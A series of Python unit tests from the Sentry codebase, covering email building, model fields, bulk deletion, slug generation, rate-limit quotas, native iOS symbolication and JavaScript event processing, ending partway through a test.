        assert thread.group == self.group

        # new msgid for the next message
        make_msgid.return_value = '321cba'
        msg.send(['foo@example.com'])

        assert len(mail.outbox) == 2

        out = mail.outbox[1]
        assert out.to == ['foo@example.com']
        assert out.subject == 'Re: Test'
        assert out.extra_headers['Message-Id'] == '321cba'
        assert out.extra_headers['In-Reply-To'] == 'abc123'
        assert out.extra_headers['References'] == 'abc123'
        assert out.body == 'hello world'
        assert len(out.alternatives) == 1
        assert out.alternatives[0] == (
            '<html><body><b>hello world</b></body></html>',
            'text/html',
        )

        # Our new GroupEmailThread row was added
        assert GroupEmailThread.objects.count() == 1, 'Should not have added a new row'
        assert GroupEmailThread.objects.all()[0].msgid == 'abc123', 'msgid should not have changed'

    def test_get_built_messages(self):
        msg = MessageBuilder(
            subject='Test',
            body='hello world',
            html_body='<b>hello world</b>',
            reference=self.activity,
            reply_reference=self.group,
        )
        results = msg.get_built_messages(['foo@example.com'])
        assert len(results) == 1

    def test_bcc_on_send(self):
        msg = MessageBuilder(
            subject='Test',
            body='hello world',
        )
        msg.send(['foo@example.com'], bcc=['bar@example.com'])

        assert len(mail.outbox) == 1

        out = mail.outbox[0]
        assert out.to == ['foo@example.com']
        assert out.bcc == ['bar@example.com']

    def test_generates_list_ids_for_registered_types(self):
        build_message = functools.partial(
            MessageBuilder,
            subject='Test',
            body='hello world',
            html_body='<b>hello world</b>',
        )

        expected = "{event.project.slug}.{event.organization.slug}.{namespace}".format(
            event=self.event,
            namespace=options.get('mail.list-namespace'),
        )

        references = (
            self.event,
            self.event.group,
            self.event.project,
            self.activity,
        )

        for reference in references:
            (message,) = build_message(reference=reference).get_built_messages(['foo@example.com'])
            assert message.message()['List-Id'] == expected

    def test_does_not_generates_list_ids_for_unregistered_types(self):
        message = MessageBuilder(
            subject='Test',
            body='hello world',
            html_body='<b>hello world</b>',
            reference=object(),
        ).get_built_messages(['foo@example.com'])[0].message()

        assert 'List-Id' not in message


class MiscTestCase(TestCase):
    def test_get_from_email_domain(self):
        with self.options({'mail.from': 'matt@example.com'}):
            assert get_from_email_domain() == 'example.com'

        with self.options({'mail.from': 'root@localhost'}):
            assert get_from_email_domain() == 'localhost'

        with self.options({'mail.from': 'garbage'}):
            assert get_from_email_domain() == 'garbage'

    def test_get_mail_backend(self):
        with self.options({'mail.backend': 'smtp'}):
            assert get_mail_backend() == 'django.core.mail.backends.smtp.EmailBackend'

        with self.options({'mail.backend': 'dummy'}):
            assert get_mail_backend() == 'django.core.mail.backends.dummy.EmailBackend'

        with self.options({'mail.backend': 'console'}):
            assert get_mail_backend() == 'django.core.mail.backends.console.EmailBackend'

        with self.options({'mail.backend': 'something.else'}):
            assert get_mail_backend() == 'something.else'






from __future__ import absolute_import






from __future__ import absolute_import

from sentry.models import User
from sentry.testutils import TestCase
from sentry.utils.query import merge_into


class MergeIntoTest(TestCase):
    def test_all_the_things(self):
        user_1 = self.create_user('foo@example.com')
        user_2 = self.create_user('bar@example.com')

        merge_into(user_1, user_2)

        # make sure we didn't remove the instance
        assert User.objects.filter(id=user_1.id).exists()






from __future__ import absolute_import






from __future__ import absolute_import

from django.db import models
from sentry.db.models import (
    Model, BoundedIntegerField, BoundedBigIntegerField,
    BoundedPositiveIntegerField)
from sentry.testutils import TestCase


# There's a good chance this model wont get created in the db, so avoid
# assuming it exists in these tests.
class DummyModel(Model):
    __core__ = False  # needs defined for Sentry to not yell at you

    foo = models.CharField(max_length=32)
    normint = BoundedIntegerField(null=True)
    bigint = BoundedBigIntegerField(null=True)
    posint = BoundedPositiveIntegerField(null=True)


class ModelTest(TestCase):
    def test_foo_hasnt_changed_on_init(self):
        inst = DummyModel(id=1, foo='bar')
        self.assertFalse(inst.has_changed('foo'))

    def test_foo_has_changes_before_save(self):
        inst = DummyModel(id=1, foo='bar')
        inst.foo = 'baz'
        self.assertTrue(inst.has_changed('foo'))
        self.assertEquals(inst.old_value('foo'), 'bar')

    def test_foo_hasnt_changed_after_save(self):
        inst = DummyModel(id=1, foo='bar')
        inst.foo = 'baz'
        self.assertTrue(inst.has_changed('foo'))
        self.assertEquals(inst.old_value('foo'), 'bar')
        models.signals.post_save.send(instance=inst, sender=type(inst), created=False)
        self.assertFalse(inst.has_changed('foo'))

    def test_large_int(self):
        with self.assertRaises(AssertionError):
            DummyModel.objects.create(normint=int(9223372036854775807), foo='bar')

        with self.assertRaises(AssertionError):
            DummyModel.objects.create(bigint=int(9223372036854775808), foo='bar')

        with self.assertRaises(AssertionError):
            DummyModel.objects.create(posint=int(9223372036854775808), foo='bar')






from __future__ import absolute_import

from datetime import timedelta
from django.utils import timezone

from sentry.db.deletion import BulkDeleteQuery
from sentry.models import Group, Project
from sentry.testutils import TestCase


class BulkDeleteQueryTest(TestCase):
    def test_project_restriction(self):
        project1 = self.create_project()
        group1_1 = self.create_group(project1)
        group1_2 = self.create_group(project1)
        project2 = self.create_project()
        group2_1 = self.create_group(project2)
        group2_2 = self.create_group(project2)
        BulkDeleteQuery(
            model=Group,
            project_id=project1.id,
        ).execute()
        assert Project.objects.filter(id=project1.id).exists()
        assert Project.objects.filter(id=project2.id).exists()
        assert Group.objects.filter(id=group2_1.id).exists()
        assert Group.objects.filter(id=group2_2.id).exists()
        assert not Group.objects.filter(id=group1_1.id).exists()
        assert not Group.objects.filter(id=group1_2.id).exists()

    def test_datetime_restriction(self):
        now = timezone.now()
        project1 = self.create_project()
        group1_1 = self.create_group(project1, last_seen=now - timedelta(days=1))
        group1_2 = self.create_group(project1, last_seen=now - timedelta(days=1))
        group1_3 = self.create_group(project1, last_seen=now)
        BulkDeleteQuery(
            model=Group,
            dtfield='last_seen',
            days=1,
        ).execute()
        assert not Group.objects.filter(id=group1_1.id).exists()
        assert not Group.objects.filter(id=group1_2.id).exists()
        assert Group.objects.filter(id=group1_3.id).exists()






from __future__ import absolute_import






from __future__ import absolute_import

from sentry.testutils import TestCase
from sentry.db.models.utils import slugify_instance
from sentry.models import Organization


class SlugifyInstanceTest(TestCase):
    def test_no_conflict(self):
        org = Organization(name='matt')
        slugify_instance(org, 'matt')
        assert org.slug == 'matt'
        assert not Organization.objects.filter(slug='matt').exists()

    def test_conflict(self):
        base_slug = self.organization.slug
        org = Organization(name='foo')
        slugify_instance(org, base_slug)
        assert org.slug.startswith(base_slug + '-'), org.slug
        assert not Organization.objects.filter(slug=org.slug).exists()

    def test_reserved(self):
        base_slug = self.organization.slug
        org = Organization(name='foo')
        slugify_instance(org, base_slug, reserved=(base_slug,))
        assert not org.slug.startswith(base_slug + '-'), org.slug
        assert not Organization.objects.filter(slug=org.slug).exists()

    def test_max_length(self):
        org = Organization(name='matt')
        slugify_instance(org, 'matt', max_length=2)
        assert org.slug == 'ma', org.slug
        assert not Organization.objects.filter(slug='ma').exists()






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.models import OrganizationOption, ProjectOption
from sentry.quotas.base import Quota
from sentry.testutils import TestCase


class QuotaTest(TestCase):
    def setUp(self):
        self.backend = Quota()

    def test_get_project_quota(self):
        org = self.create_organization()
        project = self.create_project(organization=org)

        with self.settings(SENTRY_DEFAULT_MAX_EVENTS_PER_MINUTE=0):
            with self.options({'system.rate-limit': 0}):
                assert self.backend.get_project_quota(project) == 0

            ProjectOption.objects.set_value(
                project, 'quotas:per_minute', '80%'
            )

            with self.options({'system.rate-limit': 100}):
                assert self.backend.get_project_quota(project) == 80

            with self.options({'system.rate-limit': 0}):
                assert self.backend.get_project_quota(project) == 0

            ProjectOption.objects.set_value(
                project, 'quotas:per_minute', '50'
            )

            with self.options({'system.rate-limit': 100}):
                assert self.backend.get_project_quota(project) == 50

            with self.options({'system.rate-limit': 0}):
                assert self.backend.get_project_quota(project) == 50

            OrganizationOption.objects.set_value(
                org, 'sentry:project-rate-limit', 80,
            )

            with self.options({'system.rate-limit': 100}):
                assert self.backend.get_project_quota(project) == 50

            with self.options({'system.rate-limit': 50}):
                assert self.backend.get_project_quota(project) == 40

            with self.options({'system.rate-limit': 0}):
                assert self.backend.get_project_quota(project) == 50

            ProjectOption.objects.set_value(
                project, 'quotas:per_minute', ''
            )

            with self.options({'system.rate-limit': 100}):
                assert self.backend.get_project_quota(project) == 80

            with self.options({'system.rate-limit': 0}):
                assert self.backend.get_project_quota(project) == 0






from __future__ import absolute_import






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import mock
import six
import time

from exam import fixture, patcher

from sentry.quotas.redis import (
    is_rate_limited,
    RedisQuota,
)
from sentry.testutils import TestCase
from sentry.utils.redis import clusters


def test_is_rate_limited_script():
    now = int(time.time())

    cluster = clusters.get('default')
    client = cluster.get_local_client(six.next(iter(cluster.hosts)))

    # The item should not be rate limited by either key.
    assert list(map(bool, is_rate_limited(client, ('foo', 'bar'), (1, now + 60, 2, now + 120)))) == \
        [False, False]

    # The item should be rate limited by the first key (1).
    assert list(map(bool, is_rate_limited(client, ('foo', 'bar'), (1, now + 60, 2, now + 120)))) == \
        [True, False]

    # The item should still be rate limited by the first key (1), but *not*
    # rate limited by the second key (2) even though this is the third time
    # we've checked the quotas. This ensures items that are rejected by a lower
    # quota don't affect unrelated items that share a parent quota.
    assert list(map(bool, is_rate_limited(client, ('foo', 'bar'), (1, now + 60, 2, now + 120)))) == \
        [True, False]

    assert client.get('foo') == '1'
    assert 59 <= client.ttl('foo') <= 60

    assert client.get('bar') == '1'
    assert 119 <= client.ttl('bar') <= 120


class RedisQuotaTest(TestCase):
    quota = fixture(RedisQuota)

    @patcher.object(RedisQuota, 'get_project_quota')
    def get_project_quota(self):
        inst = mock.MagicMock()
        inst.return_value = 0
        return inst

    @patcher.object(RedisQuota, 'get_organization_quota')
    def get_organization_quota(self):
        inst = mock.MagicMock()
        inst.return_value = 0
        return inst

    def test_uses_defined_quotas(self):
        self.get_project_quota.return_value = 200
        self.get_organization_quota.return_value = 300
        assert set(self.quota.get_quotas(self.project)) == set((
            ('p:{}'.format(self.project.id), 200, 60),
            ('o:{}'.format(self.project.organization.id), 300, 60),
        ))

    @mock.patch('sentry.quotas.redis.is_rate_limited')
    @mock.patch.object(RedisQuota, 'get_quotas', return_value=[])
    def test_bails_immediately_without_any_quota(self, get_quotas, is_rate_limited):
        result = self.quota.is_rate_limited(self.project)
        assert not is_rate_limited.called
        assert not result.is_limited

    @mock.patch('sentry.quotas.redis.is_rate_limited', return_value=(False, False))
    def test_is_not_limited_without_rejections(self, is_rate_limited):
        self.get_organization_quota.return_value = 100
        self.get_project_quota.return_value = 200
        assert not self.quota.is_rate_limited(self.project).is_limited

    @mock.patch('sentry.quotas.redis.is_rate_limited', return_value=(True, False))
    def test_is_limited_on_rejections(self, is_rate_limited):
        self.get_organization_quota.return_value = 100
        self.get_project_quota.return_value = 200
        assert self.quota.is_rate_limited(self.project).is_limited






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import os
import six

from sentry.constants import DATA_ROOT
from sentry.testutils import TestCase
from sentry.utils import json


class DataGenerator(type):
    def __new__(cls, name, bases, attrs):
        root = os.path.join(DATA_ROOT, 'samples')
        for filename in os.listdir(root):
            if not filename.endswith('.json'):
                continue

            func_name = 'test_%s_sample_is_valid_json' % (filename[:-4].replace('.', '_'))

            def test_func(self):
                with open(os.path.join(root, filename)) as fp:
                    json.loads(fp.read())
            test_func.__name__ = func_name
            attrs[func_name] = test_func
        return super(DataGenerator, cls).__new__(cls, name, bases, attrs)


@six.add_metaclass(DataGenerator)
class DataTestCase(TestCase):
    pass






from __future__ import absolute_import






from __future__ import absolute_import

from mock import patch

from sentry.models import Event
from sentry.testutils import requires_llvm_symbolizer, TestCase
from sentry.lang.native.symbolizer import Symbolizer


@requires_llvm_symbolizer
class BasicResolvingIntegrationTest(TestCase):

    @patch('sentry.lang.native.symbolizer.Symbolizer.symbolize_app_frame')
    def test_frame_resolution(self, symbolize_frame):
        object_name = (
            "/var/containers/Bundle/Application/"
            "B33C37A8-F933-4B6B-9FFA-152282BFDF13/"
            "SentryTest.app/SentryTest"
        )

        symbolize_frame.return_value = {
            'filename': 'Foo.swift',
            'line': 42,
            'column': 23,
            'object_name': object_name,
            'symbol_name': 'real_main',
            'symbol_addr': '0x1000262a0',
            "instruction_addr": '0x100026330',
        }

        event_data = {
            "sentry.interfaces.User": {
                "ip_address": "31.172.207.97"
            },
            "extra": {},
            "project": self.project.id,
            "platform": "cocoa",
            "debug_meta": {
                "images": [
                    {
                        "type": "apple",
                        "cpu_subtype": 0,
                        "uuid": "C05B4DDD-69A7-3840-A649-32180D341587",
                        "image_vmaddr": 4294967296,
                        "image_addr": 4295098368,
                        "cpu_type": 16777228,
                        "image_size": 32768,
                        "name": object_name,
                    }
                ],
                "sdk_info": {
                    "dsym_type": "macho",
                    "sdk_name": "iOS",
                    "version_major": 9,
                    "version_minor": 3,
                    "version_patchlevel": 0
                }
            },
            "sentry.interfaces.Exception": {
                "values": [
                    {
                        "stacktrace": {
                            "frames": [
                                {
                                    "function": "<redacted>",
                                    "abs_path": None,
                                    "instruction_offset": 4,
                                    "package": "/usr/lib/system/libdyld.dylib",
                                    "filename": None,
                                    "symbol_addr": "0x002ac28b4",
                                    "lineno": None,
                                    "in_app": False,
                                    "instruction_addr": "0x002ac28b8"
                                },
                                {
                                    "function": "main",
                                    "instruction_addr": 4295123760,
                                    "symbol_addr": 4295123616,
                                    "image_addr": 4295098368
                                },
                                {
                                    "platform": "javascript",
                                    "function": "merge",
                                    "abs_path": "/scripts/views.js",
                                    "vars": {},
                                    "module": None,
                                    "filename": "../../sentry/scripts/views.js",
                                    "colno": 16,
                                    "in_app": True,
                                    "lineno": 268
                                }
                            ]
                        },
                        "type": "NSRangeException",
                        "mechanism": {
                            "posix_signal": {
                                "signal": 6,
                                "code": 0,
                                "name": "SIGABRT",
                                "code_name": None
                            },
                            "type": "cocoa",
                            "mach_exception": {
                                "subcode": 0,
                                "code": 0,
                                "exception": 10,
                                "exception_name": "EXC_CRASH"
                            }
                        },
                        "value": (
                            "*** -[__NSArray0 objectAtIndex:]: index 3 "
                            "beyond bounds for empty NSArray"
                        )
                    }
                ]
            },
            "contexts": {
                "device": {
                    "model_id": "N102AP",
                    "model": "iPod7,1",
                    "arch": "arm64",
                    "family": "iPod"
                },
                "os": {
                    "version": "9.3.2",
                    "rooted": False,
                    "build": "13F69",
                    "name": "iOS"
                }
            }
        }

        resp = self._postWithHeader(event_data)
        assert resp.status_code == 200

        event = Event.objects.get()

        bt = event.interfaces['sentry.interfaces.Exception'].values[0].stacktrace
        frames = bt.frames

        assert frames[0].function == '<redacted>'
        assert frames[0].instruction_addr == '0x002ac28b8'
        assert not frames[0].in_app

        assert frames[1].function == 'real_main'
        assert frames[1].filename == 'Foo.swift'
        assert frames[1].lineno == 42
        assert frames[1].colno == 23
        assert frames[1].package == object_name
        assert frames[1].instruction_addr == '0x100026330'
        assert frames[1].instruction_offset is None
        assert frames[1].in_app

        assert frames[2].platform == 'javascript'
        assert frames[2].abs_path == '/scripts/views.js'
        assert frames[2].function == 'merge'
        assert frames[2].lineno == 268
        assert frames[2].colno == 16
        assert frames[2].filename == '../../sentry/scripts/views.js'
        assert frames[2].instruction_offset is None
        assert frames[2].in_app

    def sym_app_frame(self, frame):
        object_name = (
            "/var/containers/Bundle/Application/"
            "B33C37A8-F933-4B6B-9FFA-152282BFDF13/"
            "SentryTest.app/SentryTest"
        )
        if frame['instruction_addr'] == '0x1':
            return {
                'filename': 'Foo.swift',
                'line': 82,
                'column': 23,
                'object_name': object_name,
                'symbol_name': 'other_main',
                'symbol_addr': '0x1',
                "instruction_addr": '0x1',
            }
        return {
            'filename': 'Foo.swift',
            'line': 42,
            'column': 23,
            'object_name': object_name,
            'symbol_name': 'real_main',
            'symbol_addr': '0x1000262a0',
            "instruction_addr": '0x100026330',
        }

    @patch.object(Symbolizer, 'symbolize_app_frame', sym_app_frame)
    def test_frame_resolution_no_sdk_info(self):
        object_name = (
            "/var/containers/Bundle/Application/"
            "B33C37A8-F933-4B6B-9FFA-152282BFDF13/"
            "SentryTest.app/SentryTest"
        )

        event_data = {
            "sentry.interfaces.User": {
                "ip_address": "31.172.207.97"
            },
            "extra": {},
            "project": self.project.id,
            "platform": "cocoa",
            "debug_meta": {
                "images": [
                    {
                        "type": "apple",
                        "cpu_subtype": 0,
                        "uuid": "C05B4DDD-69A7-3840-A649-32180D341587",
                        "image_vmaddr": 4294967296,
                        "image_addr": 4295098368,
                        "cpu_type": 16777228,
                        "image_size": 32768,
                        "name": object_name,
                    }
                ]
            },
            "contexts": {
                "os": {
                    "name": "iOS",
                    "version": "9.3.0"
                }
            },
            "sentry.interfaces.Exception": {
                "values": [
                    {
                        "stacktrace": {
                            "frames": [
                                {
                                    "function": "<redacted>",
                                    "abs_path": None,
                                    "instruction_offset": 4,
                                    "package": "/usr/lib/system/libdyld.dylib",
                                    "filename": None,
                                    "symbol_addr": "0x002ac28b4",
                                    "lineno": None,
                                    "in_app": False,
                                    "instruction_addr": "0x002ac28b8"
                                },
                                {
                                    "function": "main",
                                    "instruction_addr": 4295123760,
                                    "symbol_addr": 4295123616,
                                    "image_addr": 4295098368
                                },
                                {
                                    "function": "other_main",
                                    "instruction_addr": 1,
                                    "symbol_addr": 1,
                                    "image_addr": 4295098368
                                },
                                {
                                    "platform": "javascript",
                                    "function": "merge",
                                    "abs_path": "/scripts/views.js",
                                    "vars": {},
                                    "module": None,
                                    "filename": "../../sentry/scripts/views.js",
                                    "colno": 16,
                                    "in_app": True,
                                    "lineno": 268
                                }
                            ]
                        },
                        "type": "NSRangeException",
                        "mechanism": {
                            "posix_signal": {
                                "signal": 6,
                                "code": 0,
                                "name": "SIGABRT",
                                "code_name": None
                            },
                            "type": "cocoa",
                            "mach_exception": {
                                "subcode": 0,
                                "code": 0,
                                "exception": 10,
                                "exception_name": "EXC_CRASH"
                            }
                        },
                        "value": (
                            "*** -[__NSArray0 objectAtIndex:]: index 3 "
                            "beyond bounds for empty NSArray"
                        )
                    }
                ]
            },
            "contexts": {
                "device": {
                    "model_id": "N102AP",
                    "model": "iPod7,1",
                    "arch": "arm64",
                    "family": "iPod"
                },
                "os": {
                    "version": "9.3.2",
                    "rooted": False,
                    "build": "13F69",
                    "name": "iOS"
                }
            }
        }

        resp = self._postWithHeader(event_data)
        assert resp.status_code == 200

        event = Event.objects.get()

        bt = event.interfaces['sentry.interfaces.Exception'].values[0].stacktrace
        frames = bt.frames

        assert frames[0].function == '<redacted>'
        assert frames[0].instruction_addr == '0x002ac28b8'
        assert not frames[0].in_app

        assert frames[1].function == 'real_main'
        assert frames[1].filename == 'Foo.swift'
        assert frames[1].lineno == 42
        assert frames[1].colno == 23
        assert frames[1].package == object_name
        assert frames[1].instruction_addr == '0x100026330'
        assert frames[1].instruction_offset is None
        assert frames[1].in_app

        assert frames[2].function == 'other_main'
        assert frames[2].filename == 'Foo.swift'
        assert frames[2].lineno == 82
        assert frames[2].colno == 23
        assert frames[2].package == object_name
        assert frames[2].instruction_addr == '0x000000001'
        assert frames[2].instruction_offset is None
        assert frames[2].in_app

        assert frames[3].platform == 'javascript'
        assert frames[3].abs_path == '/scripts/views.js'
        assert frames[3].function == 'merge'
        assert frames[3].lineno == 268
        assert frames[3].colno == 16
        assert frames[3].filename == '../../sentry/scripts/views.js'
        assert frames[3].instruction_offset is None
        assert frames[3].in_app






from __future__ import absolute_import

from mock import patch

from sentry.testutils import requires_llvm_symbolizer, TestCase
from sentry.lang.native.plugin import resolve_frame_symbols


OBJECT_NAME = (
    "/var/containers/Bundle/Application/B33C37A8-F933-4B6B-9FFA-152282BFDF13/"
    "SentryTest.app/SentryTest"
)

SDK_INFO = {
    "dsym_type": "macho",
    "sdk_name": "iOS",
    "version_major": 9,
    "version_minor": 3,
    "version_patchlevel": 0
}


def patched_symbolize_app_frame(self, frame):
    if frame['instruction_addr'] == 4295123760:
        return {
            'filename': 'Foo.swift',
            'line': 42,
            'column': 23,
            'object_name': OBJECT_NAME,
            'symbol_name': 'real_main',
            'symbol_addr': '0x1000262a0',
            'instruction_addr': '0x100026330',
        }


def patched_symbolize_system_frame(self, frame, sdk_info):
    assert sdk_info == SDK_INFO
    if frame['instruction_addr'] == 4295123360:
        return {
            'object_name': '/usr/lib/whatever.dylib',
            'symbol_name': 'whatever_system',
            'symbol_addr': '0x100026110',
            'instruction_addr': '0x1000261a0',
        }


@requires_llvm_symbolizer
class BasicResolvingFileTest(TestCase):

    @patch('sentry.lang.native.symbolizer.Symbolizer.symbolize_app_frame',
           new=patched_symbolize_app_frame)
    @patch('sentry.lang.native.symbolizer.Symbolizer.symbolize_system_frame',
           new=patched_symbolize_system_frame)
    def test_frame_resolution(self):
        event_data = {
            "sentry.interfaces.User": {
                "ip_address": "31.172.207.97"
            },
            "extra": {},
            "project": self.project.id,
            "platform": "cocoa",
            "debug_meta": {
                "images": [
                    {
                        "type": "apple",
                        "cpu_subtype": 0,
                        "uuid": "C05B4DDD-69A7-3840-A649-32180D341587",
                        "image_vmaddr": 4294967296,
                        "image_addr": 4295098368,
                        "cpu_type": 16777228,
                        "image_size": 32768,
                        "name": OBJECT_NAME,
                    }
                ],
                "sdk_info": SDK_INFO,
            },
            "sentry.interfaces.Exception": {
                "values": [
                    {
                        "stacktrace": {
                            "frames": [
                                {
                                    "function": "<redacted>",
                                    "abs_path": None,
                                    "instruction_offset": 4,
                                    "package": "/usr/lib/system/libdyld.dylib",
                                    "filename": None,
                                    "symbol_addr": "0x002ac28b4",
                                    "lineno": None,
                                    "in_app": False,
                                    "instruction_addr": "0x002ac28b8"
                                },
                                {
                                    "function": "main",
                                    "instruction_addr": 4295123760,
                                    "symbol_addr": 4295123616,
                                    "image_addr": 4295098368
                                },
                                {
                                    "function": "whatever_system",
                                    "instruction_addr": 4295123360,
                                    "symbol_addr": 4295123216,
                                    "image_addr": 4295092368
                                },
                                {
                                    "platform": "javascript",
                                    "function": "merge",
                                    "abs_path": "/scripts/views.js",
                                    "vars": {},
                                    "module": None,
                                    "filename": "../../sentry/scripts/views.js",
                                    "colno": 16,
                                    "in_app": True,
                                    "lineno": 268
                                }
                            ]
                        },
                        "type": "NSRangeException",
                        "mechanism": {
                            "posix_signal": {
                                "signal": 6,
                                "code": 0,
                                "name": "SIGABRT",
                                "code_name": None
                            },
                            "type": "cocoa",
                            "mach_exception": {
                                "subcode": 0,
                                "code": 0,
                                "exception": 10,
                                "exception_name": "EXC_CRASH"
                            }
                        },
                        "value": (
                            "*** -[__NSArray0 objectAtIndex:]: index 3 "
                            "beyond bounds for empty NSArray"
                        )
                    }
                ]
            },
            "contexts": {
                "device": {
                    "model_id": "N102AP",
                    "model": "iPod7,1",
                    "arch": "arm64",
                    "family": "iPod"
                },
                "os": {
                    "version": "9.3.2",
                    "rooted": False,
                    "build": "13F69",
                    "name": "iOS"
                }
            }
        }

        resolve_frame_symbols(event_data)

        bt = event_data['sentry.interfaces.Exception']['values'][0]['stacktrace']
        frames = bt['frames']

        assert frames[0]['function'] == '<redacted>'
        assert frames[0]['instruction_addr'] == '0x002ac28b8'

        assert frames[1]['function'] == 'real_main'
        assert frames[1]['lineno'] == 42
        assert frames[1]['colno'] == 23
        assert frames[1]['package'] == OBJECT_NAME
        assert frames[1]['instruction_addr'] == '0x100026330'
        assert frames[1].get('instruction_offset') is None

        assert frames[2]['function'] == 'whatever_system'
        assert frames[2]['package'] == '/usr/lib/whatever.dylib'
        assert frames[2]['instruction_addr'] == '0x1000261a0'
        assert frames[2].get('instruction_offset') == 144






from __future__ import absolute_import

from sentry.lang.native.utils import get_sdk_from_event


def test_get_sdk_from_event():
    sdk_info = get_sdk_from_event({
        'debug_meta': {
            'sdk_info': {
                'dsym_type': 'macho',
                'sdk_name': 'iOS',
                'version_major': 9,
                'version_minor': 3,
                'version_patchlevel': 0,
            }
        }
    })
    assert sdk_info['dsym_type'] == 'macho'
    assert sdk_info['sdk_name'] == 'iOS'
    assert sdk_info['version_major'] == 9
    assert sdk_info['version_minor'] == 3
    assert sdk_info['version_patchlevel'] == 0

    sdk_info = get_sdk_from_event({
        'contexts': {
            'os': {
                'type': 'os',
                'name': 'iOS',
                'version': '9.3.1.1234',
            }
        }
    })

    assert sdk_info['dsym_type'] == 'macho'
    assert sdk_info['sdk_name'] == 'iOS'
    assert sdk_info['version_major'] == 9
    assert sdk_info['version_minor'] == 3
    assert sdk_info['version_patchlevel'] == 1






from __future__ import absolute_import






# coding: utf-8

from __future__ import absolute_import

import responses
import os.path

from mock import patch

from sentry.models import Event, File, Release, ReleaseFile
from sentry.testutils import TestCase

BASE64_SOURCEMAP = 'data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZ2VuZXJhdGVkLmpzIiwic291cmNlcyI6WyIvdGVzdC5qcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiO0FBQUEiLCJzb3VyY2VzQ29udGVudCI6WyJjb25zb2xlLmxvZyhcImhlbGxvLCBXb3JsZCFcIikiXX0='


def get_fixture_path(name):
    return os.path.join(os.path.dirname(__file__), 'fixtures', name)


def load_fixture(name):
    with open(get_fixture_path(name), 'rb') as fp:
        return fp.read()


class JavascriptIntegrationTest(TestCase):
    def test_adds_contexts_without_device(self):
        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Http': {
                'url': 'http://example.com',
                'headers': [
                    ['User-Agent', 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36'],
                ],
            }
        }

        resp = self._postWithHeader(data)
        assert resp.status_code, 200

        event = Event.objects.get()
        contexts = event.interfaces['contexts'].to_json()
        assert contexts.get('os') == {
            'name': 'Windows 8',
            'type': 'os',
        }
        assert contexts.get('browser') == {
            'name': 'Chrome',
            'type': 'browser',
            'version': '28.0.1500',
        }
        assert contexts.get('device') is None

    def test_adds_contexts_with_device(self):
        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Http': {
                'url': 'http://example.com',
                'headers': [
                    ['User-Agent', 'Mozilla/5.0 (Linux; U; Android 4.3; en-us; SCH-R530U Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 USCC-R530U'],
                ],
            }
        }

        resp = self._postWithHeader(data)
        assert resp.status_code, 200

        event = Event.objects.get()
        contexts = event.interfaces['contexts'].to_json()
        assert contexts.get('os') == {
            'name': 'Android',
            'type': 'os',
            'version': '4.3',
        }
        assert contexts.get('browser') == {
            'name': 'Android',
            'type': 'browser',
            'version': '4.3',
        }
        assert contexts.get('device') == {
            'family': 'Samsung SCH-R530U',
            'type': 'device',
            'model': 'SCH-R530U',
            'brand': 'Samsung',
        }

    def test_adds_contexts_with_ps4_device(self):
        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Http': {
                'url': 'http://example.com',
                'headers': [
                    ['User-Agent', 'Mozilla/5.0 (PlayStation 4 3.55) AppleWebKit/537.78 (KHTML, like Gecko)'],
                ],
            }
        }

        resp = self._postWithHeader(data)
        assert resp.status_code, 200

        event = Event.objects.get()
        contexts = event.interfaces['contexts'].to_json()
        assert contexts.get('os') is None
        assert contexts.get('browser') is None
        assert contexts.get('device') == {
            'family': 'PlayStation 4',
            'type': 'device',
            'model': 'PlayStation 4',
            'brand': 'Sony',
        }

    @patch('sentry.lang.javascript.processor.fetch_file')
    def test_source_expansion(self, mock_fetch_file):
        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Error',
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'http://example.com/foo.js',
                                'filename': 'foo.js',
                                'lineno': 4,
                                'colno': 0,
                            },
                            {
                                'abs_path': 'http://example.com/foo.js',
                                'filename': 'foo.js',
                                'lineno': 1,
                                'colno': 0,
                            },
                        ],
                    },
                }],
            }
        }

        mock_fetch_file.return_value.body = '\n'.join('hello world')

        resp = self._postWithHeader(data)
        assert resp.status_code, 200

        mock_fetch_file.assert_called_once_with(
            'http://example.com/foo.js',
            project=self.project,
            release=None,
            allow_scraping=True,
        )

        event = Event.objects.get()
        exception = event.interfaces['sentry.interfaces.Exception']
        frame_list = exception.values[0].stacktrace.frames

        frame = frame_list[0]
        assert frame.pre_context == ['h', 'e', 'l']
        assert frame.context_line == 'l'
        assert frame.post_context == ['o', ' ', 'w', 'o', 'r']

        frame = frame_list[1]
        assert frame.pre_context is None
        assert frame.context_line == 'h'
        assert frame.post_context == ['e', 'l', 'l', 'o', ' ']

        # no source map means no raw_stacktrace
        assert exception.values[0].raw_stacktrace is None

    @patch('sentry.lang.javascript.processor.fetch_file')
    @patch('sentry.lang.javascript.processor.discover_sourcemap')
    def test_inlined_sources(self, mock_discover_sourcemap, mock_fetch_file):
        data = {
            'message': 'hello',
            'platform': 'javascript',
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Error',
                    'stacktrace': {
                        'frames': [
                            {
                                'abs_path': 'http://example.com/test.min.js',
                                'filename': 'test.js',
                                'lineno': 1,
                                'colno': 0,
                            },
                        ],
                    },
                }],
            }
        }

        mock_discover_sourcemap.return_value = BASE64_SOURCEMAP

        mock_fetch_file.return_value.url = 'http://example.com/test.min.js'
        mock_fetch_file.return_value.body = '\n'.join('<generated source>')

        resp = self._postWithHeader(data)
        assert resp.status_code, 200

        mock_fetch_file.assert_called_once_with(
            'http://example.com/test.min.js',
            project=self.project,
            release=None,
            allow_scraping=True,
        )

        event = Event.objects.get()
        exception = event.interfaces['sentry.interfaces.Exception']
        frame_list = exception.values[0].stacktrace.frames

        frame = frame_list[0]
        assert not frame.pre_context
